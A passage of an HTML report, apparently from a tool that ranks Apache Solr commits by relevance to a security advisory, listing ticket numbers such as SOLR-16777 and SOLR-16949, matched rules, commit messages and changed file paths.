      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious
      +
    • + +
    • +
      The commit message contains some security-related keywords: malicious
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16777
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16777: Fix for Schema Designer blindly trusting potentially malicious configsets
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16777: Schema Designer now correctly manages trust of the... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 92 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6e9ed203b30958396bdfd41760d426b386646865 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java, solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16777
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16777: Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman <houston@apache.org>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java + + solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java + + solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java + + solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16949: Fix inputstream leaks + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 90 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6c8f24eb9e3fe1cb19058173f2e221de3febfeda +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: stream
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16949
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16949: Fix inputstream leaks
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16949: Restrict certain file types from being uploaded to or... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 90 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + COMMIT_IS_SECURITY_RELEVANT + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7e9a2e67f812032a049836c3aa0b18bf5cd717f9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      +
    • + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/ivy.xml, solr/core/src/java/org/apache/solr/util/SolrCLI.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java, solr/core/src/resources/magic/executables, solr/core/src/java/org/apache/solr/core/backup/BackupManager.java, solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin, solr/core/src/test-files/magic/hello.tar.bin, solr/licenses/simplemagic-1.17.jar.sha1, solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version, handler
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16949
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16949: Restrict certain file types from being uploaded to or downloaded from Config Sets
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lucene/ivy-versions.properties + + solr/core/ivy.xml + + solr/core/src/java/org/apache/solr/core/backup/BackupManager.java + + solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java + + solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java + + solr/core/src/java/org/apache/solr/util/SolrCLI.java + + solr/core/src/resources/magic/executables + + solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin + + solr/core/src/test-files/magic/hello.tar.bin + + solr/licenses/simplemagic-1.17.jar.sha1 + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-14853: enableRemoteStreaming and enableStreamBody are now... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 64 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml, solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml, solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml, solr/core/src/test-files/solr/crazy-path-to-config.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml
      +
    • + +
    • +
      The bug tracking ticket SOLR-14853 contains some security-related terms: security
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: streaming, stream, user
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, request
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-14853
      +
    • + +
    • +
      The commit message references some github issue: 1615
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-14853: enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan Høydahl <janhoy@users.noreply.github.com> --------- Signed-off-by: Jan Høydahl <janhoy@users.noreply.github.com> Co-authored-by: Jan Høydahl <janhoy@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/core/SolrConfig.java + + solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java + + solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java + + solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig.xml + + solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml + + solr/core/src/test-files/solr/crazy-path-to-config.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-17098: Fix some test issues + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 58 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + XREF_BUG + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f13b6738b5b8888023dc760801b9436ee30429c5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: Solr, zkHost
      +
    • + +
    • +
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solrj/src/test-files/solrj/solr/solr.xml
      +
    • + +
    • +
      The bug tracking ticket SOLR-17098 contains some security-related terms: security
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: issue
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-17098
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-17098: Fix some test issues
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java + + solr/solrj/src/test-files/solrj/solr/solr.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16949: Tolerate null bytes / empty file + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 46 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + XREF_BUG + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 143fa6f09ac1679c690cd1657c81f87ba7f449b9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16949
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16949: Tolerate null bytes / empty file
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Revert "SOLR-15694, SOLR-15715: Node roles and dedicated query... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 30 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 68fa493b8f959788216eb48f6bcef825fe8e24e6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: This
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Revert "SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java + + solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java + + solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java + + solr/core/src/java/org/apache/solr/core/CoreContainer.java + + solr/core/src/java/org/apache/solr/core/NodeRoles.java + + solr/core/src/java/org/apache/solr/handler/ClusterAPI.java + + solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java + + solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java + + solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java + + solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java + + solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java + + solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java + + solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java + + solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java + + solr/core/src/java/org/apache/solr/request/SimpleFacets.java + + solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java + + solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java + + solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java + + solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java + + solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java + + solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java + + solr/core/src/java/org/apache/solr/update/UpdateLog.java + + solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java + + solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java + + solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml + + solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml + + solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml + + solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java + + solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java + + solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java + + solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 28 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f33d102f254909492b6f5d5a2142dfea791a5a4a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: Solr
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-17034
      +
    • + +
    • +
      The commit message references some github issue: 2020
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-17034: Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16781: <lib ../> directive disabled by default + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 26 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9118b3f3d8a2b62258e68bbf1c904fbc0ee58b61 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/solr-ref-guide/src/configsets-api.adoc, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/server/solr/configsets/_default/conf/solrconfig.xml, solr/solr-ref-guide/src/libs.adoc
      +
    • + +
    • +
      The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16781
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16781: <lib ../> directive disabled by default
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/core/SolrConfig.java + + solr/server/solr/configsets/_default/conf/solrconfig.xml + + solr/solr-ref-guide/src/configsets-api.adoc + + solr/solr-ref-guide/src/libs.adoc + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Revert "SOLR-15694, 15715: Create ephemeral roles properly (missed... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 26 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + RELEVANT_WORDS_IN_MESSAGE + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 002b3ce67bea7dfe114c3b7dfdceb00b8777363c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some relevant words: This
      +
    • + +
    • +
      The commit modifies code containing relevant filename or methods: ZooKeeper, Solr, ACLs
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-15694
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Revert "SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/cloud/ZkController.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16580: Avoid making copies of DocCollection for PRS updates + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 26 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java, solr/core/src/java/org/apache/solr/cloud/Overseer.java, solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java, solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java, solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java, solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java, solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java, solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java
      +
    • + +
    • +
      The bug tracking ticket SOLR-16580 contains some security-related terms: security
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, read, provide
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16580
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16580: Avoid making copies of DocCollection for PRS updates
      +
    • +
    + +
    Changed files in commit
    + +
      +
